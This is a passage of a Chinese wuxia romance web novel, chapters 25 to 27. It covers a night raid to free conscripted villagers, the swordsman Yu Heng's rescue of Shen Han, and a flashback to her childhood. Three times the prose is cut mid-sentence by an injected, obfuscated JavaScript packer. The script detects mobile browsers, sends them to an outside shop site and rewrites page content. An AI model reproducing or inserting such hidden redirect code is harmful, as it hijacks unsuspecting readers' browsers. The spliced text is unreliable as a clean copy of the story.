郁珩不言,平静地望着荀仁义,这令荀仁义更加窝火。 “我说你少招惹她。她不会留下,我也不会轻易离开!” 郁珩轻描淡写摊开掌,“昨日你在玄宁师父身上偷的东西,还回来。” 荀仁义愣了下,心里发虚。他的确趁着说话的功夫,从玄宁腰间顺了块玉。没想到郁珩当时站得那么远,还是发现了。 荀仁义尴尬地掏出玉牌,放在郁珩掌心,嘟囔着,“出家人带什么玉。” 郁珩浅浅勾唇,收了玉牌,却转而将沉甸甸的一贯钱放在荀仁义掌心。 荀仁义眼都看直了。 一贯钱!这是一贯钱!如今四处打仗,他很久没见过这么多钱了! 没想到郁珩出手如此阔绰,荀仁义腆着笑,含蓄收下了钱。他转而一想,突然围着郁珩转了一圈。 郁珩任他围着自己胡闹,负手而立,八方不动。 荀仁义道:“你不对劲。” 郁珩不语,信手抖了抖衣角上的尘土。 荀仁义又说一遍,“你不对劲。你看上她了,你绝对看上她了!” 不知为何,郁珩心头颤了颤,嘴角浅浅的笑意却藏不住了。 荀仁义正色道:“我告诉你,虽然我收了你的钱,但是这个数根本算不得什么。那丫头要嫁人,也是嫁显赫之人,绝不嫁你们这些不入流的江湖草莽。你说清楚,你是不是贪图她的美色?” 荀仁义是看不上江湖中人的。往日天策山庄飞檐走壁劫富济贫,劫的就是他的富。如今他贫了,却也没见人接济。 郁珩眉目舒展,不假思索开口道:“河神威武,我心向往之,所求一庇佑。” 荀仁义没听明白,郁珩却意味深长地走了,只留下一个缥缈的背影。 25. 惊澜 虽得了郁珩的好,荀仁义却越想越不对劲。他几经打听,郁珩近日忙于练剑,本应鲜少露面,自从他来了,反倒是出入频繁起来。 这小子果然没安好心! 日暮西沉,二月风暖。 荀仁义煞有介事匆匆回到洗尘斋时,沈寒正趴在水缸边出神。 水面映出姑娘姣好的面容,媚极艳极,在荀仁义眼中,却并不赏心悦目。 荀仁义负手,大腹便便走起路来如同鸭子摇摆,开口便是没好气一声,“忙呢?” 沈寒知道荀仁义一身坏毛病,故而并不理会他,只是随口应声“嗯”。 “昨我遇见你大师兄了。” 沈寒顿时如临大敌,一个激灵起身,瞪着眼前的中年人,“荀仁义!你是不是又给我惹事了!” 荀仁义撇撇嘴,“死丫头,怎么和老爹说话呢?” “你一把年纪了,能不能识时务些?你以为人家夷山让你白吃白喝,欠你的呀?” 往日一旦起了争执,荀仁义色厉内荏,根本吵不过沈寒。如今抓了郁珩的小把柄,他自觉有了底气,直接打断了沈寒的训斥,“我没惹他!我只是发现他不对劲!” “哪儿不对劲?”沈寒疑惑地问道。 若是荀仁义说郁珩没安好心也罢,说他不对劲,倒是令沈寒生疑。郁珩是再端正无趣不过的人,能不对劲到哪儿去? 荀仁义贼兮兮笑了笑,酝酿良久丢出重磅一句,“他……贪图你的美色!” 沈寒:“……” 出人意料的冷静,令人尴尬的沉默。 随即沈寒垂首,无奈地扶额苦笑了。 荀仁义有种被羞辱了的感觉,争道:“你笑什么?” 沈寒摇了摇头,“你知道他是谁吗?未来要继任掌门的正道楷模!你知道我是谁吗?望仙穷凶极恶的匪。他若是贪图我的美色,中原正道武林算是没救了!” 嬉笑之余,沈寒竟有些心惊肉跳的悸动。 平心而论,她与郁珩吵吵闹闹,关系却并不敌对。他们的关系不远不近,虽有前怨,她将郁珩抓去匪寨百般欺负,也可以说是一段前缘。若得郁珩这样风姿仙容之人青睐,他必然是要放下正邪那套说辞。 这般不顾世俗,这般惊才风逸,她能漠然相对吗? 沈寒自认不是内心坚定的人,她不能。甚至仅仅二人同床而眠,什么都没发生,当她睁开眼看到郁珩那张隽秀的面容时,她已经为之动容了。 荀仁义不知道沈寒心里已经百转千回,道:“你别管这么多,总归是他不对劲。咱们得快些走!我之前在山下流浪时候打听过,不归寨虽被灭,残余的匪子却还在。你去将他们重新收拾起来,咱们仍旧是望仙一霸!” 沈寒叹息,原来荀仁义绕来绕去,还是想劝她下山。 此事沈寒并非没想过,实在是不可行。所谓疑人不用,那些匪子能叛她一次,便能叛她无数次。失信于夷山事小,再度被掀翻下台,永世不得超生事大。若是狄人继续挥师,钳形夹攻,匪寨人多兵重,说是匪,实则也是不可小觑的散军。做山匪未必是条好出路。 除去算计,沈寒也是真心想去栖霞会武得琵琶。 她那颗冰冷的心,在温暖的春光下,也悄然解冻,对着夷山这种手足深情生出眷恋。她实在是漂泊太久了,一旦尝过有家的味道,便不愿意继续游荡。 沈寒鲜少同荀仁义讲理,现下却也板起脸,认真道:“老爹,这栖霞会武我是一定要去的。” 荀仁义说:“哪有什么一定?” “你不明白,这对我很重要。会武办在栖霞山,你也能顺道回江宁看看。这不好吗?” “不好!” 荀仁义就像个胡闹的孩童,沈寒欲继续说理,院门前风风火火闯进来个人,一身素色的练功服,身上脏兮兮的。 薛敢见到沈寒,高呼一声,“美人儿!帮我!” 一旁荀仁义眯了眯眼:刚走一个郁珩,又来一个毛头小子,这夷山到底是什么龙潭虎穴! 沈寒见惯了薛敢小题大做的模样,遂道:“别急,慢慢说。是惹了什么大祸了?” 薛敢扶膝喘着粗气,道:“还没惹祸,正准备呢。” 听薛敢细细说来,沈寒心里也是一凛。 原是张固入京后,望仙县琐碎便由县丞掌管。张固并非寻常举子,而是曾在汴京谏院做司谏,正正经经的从七品宣义郎。此番赴京乃是官家记得有这么个耿直的人,请他去清理朝堂浑局,匡扶大梁皇室。 但望仙县丞便不这么想了,张固一走,整个望仙他最大。如今征丁的消息一路疯传,虽河南府未下符文,各个县为防止征不足数,已然提前备起来了。 县丞名苏添,听闻是朝中大员远方的远方的远方侄亲,若是征得漂亮也能换个一官半职。奈何望仙去年已然征过一次,若是强征,整座城中尽是老弱妇孺。 兵卒在城中强捉人,管你有没有符文,弄得望仙鸡飞狗跳,民不聊生,和土匪无异,处处都是妇女孩童失亲恸哭之声。这画面在薛敢绘声绘色的描绘下,纵然沈寒铁石心肠,听得也暗暗握拳。 薛敢一口气说完,两手叉腰,壮志酬筹,“所以我们几个决定去把被捉走的百姓劫回来!怎么样?要不要加入?” 沈寒默了默,斩钉截铁道:“不要。” 沈寒拒绝得很是干净利落,可天一黑,她还是跟着去了。 只因一个十分幼稚的原因:她思来想去咽不下这口气。身为望仙河神,她受不了有人在她的地盘呼风唤雨。那县丞是个贼眉鼠眼的酒囊饭袋,往日见到匪子比谁都怕,如今也敢称大王。 换句话说,能残害望仙百姓的只有河神,只要百姓们一声“河神保佑”,她自会显灵救他们于水火。 去年征丁她已然同张固交锋,她未能拦住,今年有夷山挑大梁,她必是要阻拦的。 薛敢的计划很简单草率,一共算上沈寒十三人,趁夜摸黑下山,黑麻覆面,直奔府衙捞人。不归寨倒了,府衙失了心腹大患一定把守松懈,他们几个飞檐走壁的大侠肯定没问题。 沈寒茫然指了指自己,“我?飞檐走壁的大侠?” 薛敢满怀信心拍她的后背,“你可以的!” 于是计划便如此草率地定下来,只是没想到,还没出山门,就遇到第一层阻碍。 漆黑一片的山路上,偶有鸟雀鸣叫。在那山道尽头,站着三个聘婷的姑娘,一身洁白到刺目的劲装,按着柄三尺长剑。 其中一姑娘恰是郁云笙,察觉到身后的窸窣之声,长剑出鞘寒光乍泄,警觉朝沈寒他们走来。 薛敢一巴掌捂在脸上,暗骂,“我怎么忘了,今天是她轮值!” 不需撕下面罩,凭身形郁云笙也能认出他们几个,长剑指向沈寒,凌厉道:“水鬼!你们几个鬼鬼祟祟要去做什么?” 薛敢两手合十,几欲求饶,三两句交代清楚去向,只求郁云笙饶过他们。 郁云笙听完,面色有所缓和,却依旧盯着沈寒,“若是你们自己去,尚有可信之处,带上她,难道不怕被她下黑手吗?” 沈寒捏了捏拳,“十三对三,你可要想清楚了。” “你敢威胁我!”郁云笙拔剑欲劈,却被一旁共同守山的师姐拦住,“算了算了,师妹,咱们直接禀报宗师。” 沈寒横身,手指上套着的无敌闪露危光,“别走啊,我的手段你们也清楚。” 眼见着剑拔弩张,沈寒担心耽误事情,只想打晕她们快速抽身。 却没想到郁云笙沉默良久,道:“你们真的是去救人?” 沈寒身后一夷山女弟子道:“师姐,是真的!机不可失,晚些怕是那些百姓要被县丞送走献殷勤了!” 两旁的守山弟子觉察出不对,忙要稳住郁云笙。郁云笙却手起掌落,直接将二人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396115|199654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劈晕过去。 她面上有些龃龉,仍是冷着张脸道:“快些走吧,就当我没见过你!” 沈寒没想到郁云笙也是个通情达理之人,当下对她有所改观,十三个人一同抱拳谢过,直奔下山。 夜里的望仙静得骇人,家家门户紧闭,风声鹤唳。沈寒望着月色之下空荡的青石板长街,恍惚间,想起她被赶出不归寨时也是这般。 望仙从未改变,临着热血沸腾的夷山,却始终是个冷情的地方。 一行少年人在屋檐上疾步穿梭,身法轻盈,点步无声。 府衙守卫松散,兵卒无精打采看守着大门,偶有人在周边巡逻。沈寒等人留下一个师弟望风,其余十二人轻点墙面翻身进了院内。 府衙大牢通常关押着临世待审的嫌犯,如今临时征作关押壮丁之地。因前尘往事,沈寒对这里也是熟门熟路,顺利带着众人抵达大牢。 薛敢临时吹起火折子,光照出牢内壮丁们恐惧又憔悴的脸时,沈寒犹豫了。 薛敢催促道:“怎么了?快开锁啊!” 沈寒俯身撬锁,轻声问,“是不是太顺了?” 没有人给出应答,事到如今,他们没有回头路了。 壮丁们见到这一行少年,如同见到救星。牢门一打开,便鱼贯而出。沈寒等人废了好大心力才将他们稳住,令他们排成列悄悄往外逃。 被抓的壮丁粗略一数竟也有五十人,他们只得悄悄绕过庭院,从来时的路爬墙出去。一路上也并未遇到巡逻的守卫,顺利得可怕。 薛敢伏身,让壮丁踩着他的身子爬墙而出。 正在这时,外面望风的人突然喊道:“快走!” 一时间,不知从何处冒出一队鬼魅般的守卫,将他们严实包围住。 守卫人影似鬼怪,他们举着刺目的火把,照亮了每一个惶恐不安的人。百姓们彻底慌了,瑟缩起来四处躲避,夷山的少年们便拔剑挡在他们身前。 从中走出个精明的男人,着一身深青圆领官服,正是望仙县丞苏添。 苏添横眉冷笑道:“就知道能引出你们这群不知好歹的东西!给我抓起来!” 守卫一拥而上,夷山弟子立即拔剑应战。一时间局面混乱至极,夷山人投鼠忌器,不敢真的伤了官差,有要护济百姓。他们区区十三人,很快落入下风,甚至许多人被拉下面罩,暴露了身份。 沈寒顾不上那么多,一拳震开一人,无敌在他身上留下一块淤青。 她转眼,竟瞧见一个男子想趁乱溜走,兵卒抓他不及,索性掷刀而去。 那刀马上就要穿透男人的脊背,沈寒一跃而起,一记漂亮的飞踢将刀踢开,落地时自己却躲闪不及,胳膊上挨了一刀。 她惯是能忍痛的,这一刀砍得着实不轻,疼得她面色惨白。 薛敢一把扶住沈寒,脸色铁青,凝重道:“好像真闯祸了。” 沈寒凶色毕露,此时此刻她漂亮的眉眼更像是索命的恶鬼,“先杀出去,再论是非对错。” 她不顾伤口架拳欲斗,忽然之间,众人纷纷抬头。 月色皎洁,洒在每一个人身上。 只见青色的屋檐上,立着一道颀长风雅的玉影,衣衫雪白飘逸,长发随风摇曳。那双寒眸冷冽望着地上的每一个人,不近人情审判着荒唐的一切。 薛敢喜极,唤了一声,“大师兄!大师兄来救我们了。” 守卫拉弓欲射,却见郁珩轻若仙人般一跃而下,三尺青锋出鞘,眨眼的功夫竟将守卫的长弓斩断。 他持剑横扫,宛若游龙,挡在沈寒身前震开一众守卫。 沈寒只觉得自己的心都要停跳了,刀光剑影下,他就像是天神临世,来拯救这群苦不堪言之人。 雪松香淡淡的,郁珩护在她身前,目光一路下走,落在沈寒受伤的左臂上。他目光一凛,素来深潭般的眼眸中,如冰层开裂,迸发出一丝危险的寒意。 26. 慧极 火把的光照在沈寒衣袖上,尽管她一身黑衣,破损处洇出的暗色依旧触目惊心。她垂着手,鲜血顺着指尖一滴滴落在地上。 郁珩的目光几乎在那道隐蔽的刀伤上凝固,他一向不假辞色,此时却感到惊惶,像是害了见血即厥的病症。他不顾众人目光,一把抓起沈寒的胳膊查看一番。 沈寒怔了,她没想到郁珩如此在意她的伤,这般关切,已然越过同门师兄妹,生出几分旖旎暧昧。 可沈寒并不排斥,她甚至因郁珩的紧张生出几分兴奋,面对眼前如狼似虎的一众兵卒,有一种“靠山来了”的错觉。毕竟她一个人漂泊惯了,从天而降一个人为她撑腰,这滋味十分新鲜。 哪怕郁珩不是只为了自己撑腰,为得是她身旁林林总总的夷山弟子,她也甘之如饴。 一旁的薛敢几乎喜极而泣,大呼:“师兄你可千万别生气,我们都是好心……” 然郁珩侧首看向薛敢,目射凶光,薛敢连忙闭嘴乖乖躲在郁珩身后。 “给她包扎。”郁珩冷声吩咐,随之回身望着一众官差,“此事已了,各自退兵两相安好罢。” 苏添看不上江湖中人,更看不上郁珩。他没想到郁珩如此不知天高地厚,讥笑道:“夷山欲与朝廷作对,身负重罪,还敢妄言全身而退?是你太过自负,还是做梦未醒?” 郁珩淡淡抬了下眼帘,“我若是你,便不会在此纠缠。” 苏添惊悸未消,怒气浮出,抽出身旁守卫的佩刀,指着郁珩,“江湖草寇,我乃是望仙县丞,替朝廷做事。夷山阻拦,我定然上报府衙,治你们的罪。” “你说你替朝廷做事,符文在哪里?” 苏添顿了顿,喝道:“事急从权,务速从效。官差办事无需你过问。” 郁珩道:“你以为张大人前去汴京,一去难返,此时献丁是给自己打通一条升官之路。可自枢密使陆昭弃雁门关而逃,狄人入侵,举国大乱,生死存亡之际,谁为你封官?” 此言便是告知苏添,国将不国,又何来官?他即便掌权望仙,也无济于事。 郁珩一声质问,只是戳破了苏添最表层的心思。 沈寒亦是了然。 夷山之罪,罪在富有贤名,弟子众多,危及官权;罪在目无尊纪,藐视官差,游荡在整个朝堂体系之外,隐蔽于江湖之中。 郁珩继续道:“倘狄人来犯,见城中无壮丁,你就不怕他们怒极屠城吗?” “汴京未发报警信。”苏添欲狡辩。 “可人人皆知,太上皇南逃,汴京危矣!今日破阳曲,明日便能围了京师!” 苏添并非大梁忠臣,他设局亦有自己的盘算,而郁珩恰是看破这一点。 苏添并不愿就此姑息,他两眼微眯上下打量郁珩,却不想眨眼间,雪辞出鞘,耳畔铮然。 那柄指着郁珩的长刀应声而裂,飞出的刀刃不偏不倚插在苏添胳膊上。 苏添是个文人,当即抱臂哀嚎。 “若是夷山有一个弟子出了事,夷山必追究到底。”郁珩说完,旁若无人转身而去。 两侧守卫有些不知所措,方想拦他,只听苏添又气又恼下令,“放他们走!” 薛敢连忙扶着沈寒追上去。 沈寒尚有些惊诧,“就这么放我们走了?” “有大师兄在,天塌了都有他顶着。”薛敢耀武扬威道:“你瞧那县丞呲牙咧嘴的,是大师兄给你报仇了。” 沈寒恍惚地看了看苏添手臂上的伤,再看自己胳膊,县丞的伤只深不浅。她心里荡开一层复杂的涟漪,她知道这些心绪起伏,因郁珩而起。 平心而论,郁珩是她见过最光风霁月之人。 她在外漂泊十载,漫长的人生里,也有那么几个人在晦暗的回忆中闪闪发光。可她清楚,郁珩一定不会在其中,也一定不能在其中。 因为郁珩太正了,即便他是一朵黑心雪莲,他那洁白的羽翼也不能出现污点。他要肩负的是夷山的百年传承,而沈寒只需要为自己负责。沈寒自己也不想再与任何人有羁绊。 于是这突然而来的青涩悸动,让沈寒窃喜,更让沈寒惶恐。 她熬出来了吗?她也可以有一份稳定的感情吗? 这个人,会不会像旁人那样,因为命运的阴差阳错离开自己? 百姓们逃出县衙,夷山弟子一路护送。他们心有余悸地不断回望,小小衙门越来越远,一切都不真实。 说到底,这几个夷山弟子还是少年人,没见过大世面,更不曾和官差起过冲突。他们对上位者心存敬畏,做不到郁珩那般老成持重,如今做了行侠仗义的善事,也不用承担后果,多数人心里皆是劫后余生和仗剑行善的激动。 沈寒本就是匪,与官差缠斗惯了,倒不似他人那般雀跃。毕竟她救下这一箩筐的人,当年将她丢下水也都有份。这事做得不甘不愿,却也问心无悔。 回山的路上,沈寒一直偷偷打量郁珩的神色。 郁珩走在所有人后,与前面欢呼雀跃的众人隔了段距离。夜浓似墨,他一袭雪衣,周身笼着拒人千里之外的孤高。 沈寒能从他暗淡的眸子读出,郁珩很不高兴。 不知为何,沈寒也跟着心绪沉重。 她以为郁珩这小心眼的是为他们闯祸愠怒,遂放慢脚步,走在郁珩跟前,“师兄,没有这件事,苏添也会找上门来。” 她心里也不安,因为除夕那一夜的尴尬并没有轻而易举拂去。 郁珩目光淡淡扫向沈寒,紧抿双唇,惜字如金。 沈寒理直气壮分析道:“往昔不归寨在时,夷山、不归、县衙,可谓是三足鼎立。如今不归势去,若是想独掌望仙,夷山便是最大的绊脚石。以今日之事为罪,无论以后望仙是梁是狄,借机上奏天子,击垮夷山,或是向新主邀功,苏添总是赢家。苏添知道大梁气数已尽,拿望仙当赠礼献给狄人呢!” 郁珩眸色黯淡,“若你全都明白,为何蹚浑水?” 他没问沈寒知错故犯,反倒究其本心。 “我刚明白呢。”沈寒故作轻松道:“况且,我是河神啊。不能放任他们真的被苏添拿去做棋子牺牲吧?” “你不恨他们吗?” “谁们?”沈寒装傻。 “你知道我说的谁。” 郁珩说得是望仙这一众寡恩薄情的百姓。 想来自己当年与河神祭相关的事,郁珩已然一清二楚。可这也不是什么不可言说之事,她仇也报了,问心无愧,也不怕陈年往事引人非议。 沈寒道:“一码归一码。本也是陪薛敢的。” “沈寒。” 这一声唤得沈寒一个激灵,她朝郁珩望去,见他那张冷峻的脸上,神色如寒潭沉石。 夜风泛凉,似乎无声中吹出二人间一道距离。他一丝额发被风掀起,在眉目间投下摇曳的阴影,让他那冷寂的面容平添一丝阴郁。 他似乎很喜欢唤自己的全名。 他在想什么? 夷山那般清正,过往是是非非间,他愿意为自己言一声不公平吗? 沈寒迟迟不语,二人只是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17399873|199654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戚戚然的夜风中对望。 郁珩便又唤了一声,“沈寒。” “嗯?” 沈寒害怕这般悸动搓乱自己的心性,更怕郁珩冷脸是要发脾气,于是捂着胳膊避开他的目光装起来,“哎呀,我的胳膊疼。” 谁知郁珩不解风情道:“忍着,回去上药。” 看来是真生气了。 沈寒感到头大,仿佛看到无数经文功课纷纷扬扬如雪落下。她坚信自己若是累死在夷山,没有一本书是无辜的! 好在她发现,郁珩是在意旁人受伤的。既然愿意为自己拔剑,让自己少抄点也应当无妨。 为了解救自己,沈寒转而继续卖惨,“腿也疼!是不是伤筋动骨了?” 郁珩目光幽深,望着沈寒。沈寒心虚,只能颠三倒四抱着腿开始痛呼,一通折腾倒是真的牵动胳膊上的伤口,惨叫声也真实多了。 她心里暗骂:死黑心莲,别审视我了快走啊你! 却见那一痕白衣雪影,竟然无声矮下身来。 沈寒愣了,脱口而出,“平身平身,无须多礼!” 郁珩并未言语,只是在她面前单膝触地,屈下了他素来挺拔的脊梁。 雪袍落地染了泥土,他似乎未曾察觉,只是半张清冷侧脸对着沈寒,仿佛并不是在折膝,只是在同沈寒话家常。 “上来。”声音依旧是不掺情绪起伏的调子,却清晰送入沈寒耳中。 沈寒僵在原地,一连串的表演戛然而止。她没想到谡谡如郁珩,也能俯身在自己面前,邀请她爬上他的脊背。 让郁珩背回去和抄书,沈寒心中立刻有了决断。“其实我装的,我没事。” “上来。” 简短干脆,不容置喙。 沈寒脑中轰然,她不敢想自己趴在郁珩身上是何画面,况且前面还有一众夷山男女。夷山这个地方,别的不好说,八卦传得比谁都快!之前同床共枕的事情无人察觉,若是现在当众要郁珩背回去,她可真是出息了! 岂有此理!成何体统! 正在沈寒扭捏的时候,她突然感到身子一轻,郁珩竟将她扛起,顺势落在了背上。沈寒忍不住惊呼一声,郁珩却十分克制地不触碰她的腿,只是用手臂担着她的重量。暧昧反倒被他变成恭敬了。 沈寒虽娇美,到底也是个风流美人,并不算纤弱。郁珩背得轻而易举,不等沈寒反应,已然健步如飞朝前走。 夷山那一众弟子,有人回头恰好看到这一幕,不禁惊得倒吸一口凉气,几拳砸向身边人让他们一起看。一时众人议论纷纷,拿二人当道美景看,一个英姿俊朗,一个美艳倾城。 薛敢顿了顿,暗自腹诽:我之前是不是说过他俩不般配来着?这也挺般配哇…… 沈寒承着这目光,羞怯的暗暗垂首,头刚好落在郁珩的颈侧。 他的脖子干净修长,喉结清晰,克制又引人遐想。雪松香萦绕,如他本人一般,清冷凛冽,不染尘埃。 哪有什么不可亵渎,他依旧是为了她染上尘泥。所谓正邪两立,又能怎样呢? 二人静默无声,默默前行。郁珩背得很稳,沈寒便僵持在他身上,不敢搂紧。 沈寒开始没话找话,问,“你方才唤我名字做什么?” 郁珩看了看肩头趴着的姑娘,心里荡开一阵阵酸涩。 复仇敛于剑前三分,悲悯随心散布万里。她便是如此的人,人生起伏,缘分跌宕,她一直如此,从未变过。 郁珩叹息,对沈寒惆怅道:“沈寒,你可听过慧极必伤?” 27. 白蛇 沈寒不明白。 她从不把自己列为聪敏一列。若是她足够聪慧,便不会有这一路的颠沛流离,她一定能想到更好的处事之法。就是因为她太过愚钝,她才会非走歧路不可。 前头薛敢举着火把,不知道说了什么浑话,一众弟子的嬉笑声在夜色里低低传来。沈寒趴在郁珩的背上,觉得这样安宁的感觉好不真实,和匪寨里夙夜忧惕的日子仿佛隔了一个尘世那么远。 郁珩的脊背比她想得更宽,她的身体蹭着微凉的衣料,男子身体的温热一寸寸渡来,随着步幅忽远忽近。 沈寒心绪不定,暗暗将头埋在他的肩头。 她不相信郁珩这般人会对自己有意,他嫉恶如仇,本该对自己生厌才是。 到底哪里出了岔子?难道是那一夜,两个人共枕而眠,搅乱了他的心思? 沈寒百思不得其解,攀着他的肩,“郁珩,你是个奇怪的人。” 郁珩微微侧首,如夜色寂寥的双眼突然令沈寒觉出些熟悉。她好像在什么时候,也是这般攀着一个人,那个人的目光,也总是蓄满了忧伤。 沈寒急切追问:“郁珩,我们是不是以前见过?” “未曾。”对方否得斩钉截铁。 “你说谎!”沈寒勒着他的脖子,“我不会记错,我一直觉得你有些眼熟,肯定是无意中见过你!” 郁珩反问,“你记性何时好起来了?” “我不止记性好,眼力也好!” 郁珩没有否认,神色却变得极轻极远。他嘴唇微不可察动了动,下颌紧绷着,最终默默放下了所有。 这不是一个“从未见过”之人该有的神色。 沈寒痴望着他,一不留神跌进他幽深的目光中。她竟从郁珩眼中的自己之下,读出了另一个人。 一个消失了很久的人。 她看到了沈璧,多年前的自己。 沈寒自小离乡,儿时的记忆逐渐模糊,尤其是夷山,她虽刻骨铭心,印象却浑浑噩噩。 那是昌和八年,狄人尚未入侵中原,大梁一片歌舞升平。繁荣之下暗流涌动,江湖血雨腥风,朝堂一潭死水,百姓在这艰难的世道中度过一年又一年。 美锦商会是宰相贾攸之一手所建。彼时昌和帝爱园林,更爱绸缎。于是,贾攸之借美锦商会为皇帝搜集天下绫罗锦缎,却从中搜刮民脂民膏。 望仙之中,赫赫有名的织坊天水碧乃是一户姓沈的人家经营,店主因拒绝加入美锦商会,成了望仙县织造商户中的异类。 一场大涝过后,望仙大疫,人心惶惶,朝廷的赈灾款却迟迟不发。县令郑铎只得向上求助,得到的却是一句死气沉沉的“等等”。 早年兴修水利的钱一层层贪下来,郑县令也有份,虽只占小头,如今出了事,他却要负全责。眼见压不住了,郑县令拼命向上求助,竟得恩宠许他面见南巡的贾相。 贾相并不问灾情,却问,“城中织户可尽入美锦商会?” “仍有一户未入。”郑铎战战兢兢。 “若是满城尽入美锦商会,你也算是为官家办事得力,此事也可周旋。” 于是便有了沈氏之难。 他们以天生怪力、生而不祥为由,将沈寒丢进了濛水。冰冷的河水几乎将八岁女童的身体粉碎,她拼了命地游,靠着孤注一掷的生命力挣脱了脚上绑着的绳子。 可她踉踉跄跄跑回家,却见天水碧燃起大火。店里帮工的尸体横七竖八躺着,大火吞噬了屋子的每一寸。而父亲的身体就在火海深处,正一点点被吞没。 沈寒只觉得撕心裂肺的痛,她一边哭一边找母亲的身影,最终在院子的雪堆处,找到了浑身是血的母亲。 外面响起脚步声和甲胄碰撞之声,沈寒怕极了,最后看了一眼父亲葬身的火海,随后背起母亲逃出了天水碧。 雪断断续续落下来,她想父母素日多行好事,应是有人愿意相救。可她不断拍着邻居的门,却无一人愿意开门。 临危之际,沈寒看到了夷山。 夷山门开,一个十岁左右的夷山弟子为她开门时,她已经冻僵了。身上湿漉漉的衣服冻结成冰,脸变成了紫青色。她脚下一软背着母亲昏倒在山门前,也算是被救进了山门。 夷山上的人太多了,一双双眼睛好奇望着她,窃窃私语夜里那场大火。 沈寒被安置去了苓庐,李飞云给她灌了三大碗汤药,才算将她救活,而母亲却始终生死未卜。 放她进山门的少年一身干净的练功服,对她道:“你放心,五师父是圣手,一定会救好你娘的。” 李飞云却道:“生死有命,岂是人力能回?” 沈寒慌了,可她只得把希望寄托给这个冷情冷性的男人。她哀求李飞云救救自己的母亲,做小伏低,卑微到尘埃里。 李飞云道:“并非我狠心,伤至如此,我也只能尽力而为。不过你家得罪的是官,我们夷山素来避世,不能插足俗世纷争。若你母亲病愈,你便同她速速离开罢。” 之后几日,她便没机会再同李飞云说上话,只看到他神色匆匆地在苓庐进进出出。 沈寒感到茫然惶恐,她坐在山崖边,看着远处鳞次栉比的屋舍,她不知道自己和母亲该何去何从。 她能想到最好的办法,便是让夷山收留自己和母亲。她可以做杂活,她很能吃苦,一定可以有条出路的。 为了讨好李飞云,她除了照顾母亲,开始凑在夷山弟子边眼力劲极好地帮忙,将能做的杂活脏活全做了一遍。 李飞云无奈道:“你大病初愈,还是歇着罢。这些事自有夷山弟子去做。” 沈寒道:“只求宗师垂怜,能收留我们母女。” “夷山避世已久,不宜入世。”宗师对她下了最后的通牒。 沈寒彻底慌了,卑微地跪了下去。 一旁少年也道:“掌门师父远游未归,不妨等师父回来再做决断!” “不必。”李飞云冷道,抽袖离去。临走前,他突然斜睨沈寒,冷道:“此女戾气重,心思深,珩儿还是远离她比较好。” 听闻夷山深处有蛇蜕。蛇蜕多见于冬初或春夏之交,隆冬极为罕见。 为了讨好李飞云,沈寒不顾尚未痊愈的身体,顶风冒雪去寻。而那个少年,一直在她身后抱着剑默默跟随。 不知道走了多久,两个人几乎要迷失方向,却依旧没有蛇蜕的踪迹。一路上,她也并未同少年说过话,只是执拗向前走着。 “这个时节是没有蛇蜕的。”少年劝道,声音清凌。 沈寒并不理会,风雪蛊惑了她的双眼,她一时不慎,踩了块松动的石头,身子向一旁歪去。那少年忙谨慎地扶住她。 “谢谢。”沈寒说着,站直了身体,继续向前。 “别动。”少年忽然面色慎重,一把拉住沈寒的手。 他的手很温暖,捂化了一大片风雪。可沈寒无心去感受,只因她顺着少年的目光看去,在积雪覆盖的粗壮古木间,盘踞着一条白色巨蟒。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404512|199654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那白蟒足有碗口粗,鳞片似古玉沁雪。两个孩子似是惊动了它冬眠,眼下吐着鲜红的信子,愠怒盯着二人。 沈寒呼吸凝住了,下意识后退,撞到了少年的胸膛上。 “别怕。”少年的声音在沈寒耳边响起。 话音刚落,那白蟒骤然而动,炸开一片雪浪。 沈寒只觉腰间一紧,少年将她揽至身后,自己持剑独自迎向巨蟒。他只是个十岁出头的少年,在巨蟒身前,枯弱如苇。 巨蟒扑来,血盆大口张开时,腥臭之气扑面而来。少年艰难抵挡,几次险些被它缠住吞入腹中,剑也不慎被蟒牙击断。 沈寒没有逃,她不知道自己哪来的勇气,猛地探手,揪住了蛇身上的软鳞。巨蟒吃痛不断摇头,她紧紧攀在蛇身不松手,几次撞在树干上,喉头一阵腥甜。 少年借此时机,没有选择继续进攻,而是将断剑横在两颗古木之间。沈寒见状拼了命朝少年跑去,她能感受到巨蟒朝自己冲来,即将撕咬自己。 少年朝她伸出双手,她飞扑过去,两人摔在雪地上。 巨蟒腾空而起,擦着二人头皮过去,撞在剑刃上,生生将自己斩死。浓稠的蛇血飞溅而出,淋了二人一身。 两个孩子劫后余生,坐在原地久久回不过神。沈寒缓缓抬头,见护着自己的少年,鼻梁笔挺如玉峰,脸上有一种笨拙郑重的认真。他的脸浸在薄暮天光中,带着少年人不该有的老成持重和温润。 